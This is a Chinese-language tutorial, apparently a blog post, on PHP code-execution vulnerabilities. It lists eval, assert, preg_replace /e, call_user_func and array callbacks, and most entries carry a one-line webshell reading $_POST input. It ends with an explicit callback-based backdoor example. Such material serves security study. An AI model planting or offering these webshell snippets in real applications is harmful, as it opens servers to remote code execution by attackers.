0x00 简要
代码执行: 应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。0x01 常见php代码执行函数介绍
一、常用执行代码函数
1、eval():
<span style="font-size: 17px;"><?php @eval($_POST['hacker']); ?></span>
eval函数将接受的字符串当做代码执行
2、 assert():
用法和 eval()一样
<span style="font-size: 17px;"><?php @assert($_POST['hacker']); ?></span>
3、preg_replace():
<span style="font-size: 17px;"><?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?></span>
preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行
4、 create_function():
<span style="font-size: 17px;"> <?php</span>
<span style="font-size: 17px;"> </span>
<span style="font-size: 17px;">$newfun = create_function('$hacker', 'echo $hacker;');</span>
<span style="font-size: 17px;"> </span>
<span style="font-size: 17px;">$newfun('woaini');</span>
<span style="font-size: 17px;"> ?></span>
创建了一个匿名函数,并返回了一个独一无二的函数名
5、 call_user_func():
<span style="font-size: 17px;"><?php</span>
<span style="font-size: 17px;">echo call_user_func('shell_exec','whoami');</span>
<span style="font-size: 17px;">?></span>
<span style="font-size: 17px;"><?php</span>
<span style="font-size: 17px;">call_user_func_array('assert', array($_POST['pass']));</span>
<span style="font-size: 17px;">?></span>
函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数
call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数
6、更多回调函数
<span style="font-size: 17px;">call_user_func_array()</span>
<span style="font-size: 17px;">call_user_func()</span>
<span style="font-size: 17px;">array_filter() </span>
<span style="font-size: 17px;">array_walk() array_map()</span>
<span style="font-size: 17px;">registregister_shutdown_function()</span>
<span style="font-size: 17px;">register_tick_function()</span>
<span style="font-size: 17px;">filter_var() </span>
<span style="font-size: 17px;">filter_var_array() </span>
<span style="font-size: 17px;">uasort() </span>
<span style="font-size: 17px;">uksort() </span>
<span style="font-size: 17px;">array_reduce()</span>
<span style="font-size: 17px;">array_walk() </span>
<span style="font-size: 17px;">array_walk_recursive()</span>
<span style="font-size: 17px;"><?php forward_static_call_array(assert,array($_POST[x]));?></span>
解释: 把函数作为参数传入进另一个函数中使用。
<span style="font-size: 17px;">call_user_func</span>
把第一个参数作为回调函数调用
<span style="font-size: 17px;">call_user_func_array</span>
调用回调函数,并把一个数组参数作为回调函数的参数
<span style="font-size: 17px;">usort</span>
使用用户自定义的比较函数对数组中的值进行排序
register_shutdown_function
<span style="font-size: 17px;"><?php register_shutdown_function('assert','phpinfo();');?></span>
注册一个会在php中止时执行的函数
<span style="font-size: 17px;">array_map</span>
为数组的每个元素应用回调函数
<span style="font-size: 17px;">array_walk</span>
使用用户自定义函数对数组中的每个元素做回调处理
<span style="font-size: 17px;">array_filter</span>
用回调函数过滤数组中的单元
<span style="font-size: 17px;">array_reduce</span>
用回调函数迭代地将数组简化为单一的值
<span style="font-size: 17px;">array_udiff</span>
用回调函数比较数据来计算数组的差集
<span style="font-size: 17px;">array_uintersect</span>
计算数组的交集,用回调函数比较数据
<span style="font-size: 17px;">array_diff_uassoc</span>
用用户提供的回调函数做索引检查来计算数组的差集
<span style="font-size: 17px;">array_diff_ukey</span>
用回调函数对键名比较计算数组的差集
例子:
<span style="font-size: 17px;"><?php</span>
<span style="font-size: 17px;"> //数组回调进行构造后门</span>
<span style="font-size: 17px;"> $arr=array($_POST['pass']);</span>
<span style="font-size: 17px;"> array_filter($arr,'assert');</span>
<span style="font-size: 17px;"> array_map('assert', $arr);</span>
<span style="font-size: 17px;"> uasort($arr, 'assert');</span>
<span style="font-size: 17px;"> //等等,用回调函数进行构造</span>
<span style="font-size: 17px;">?></span>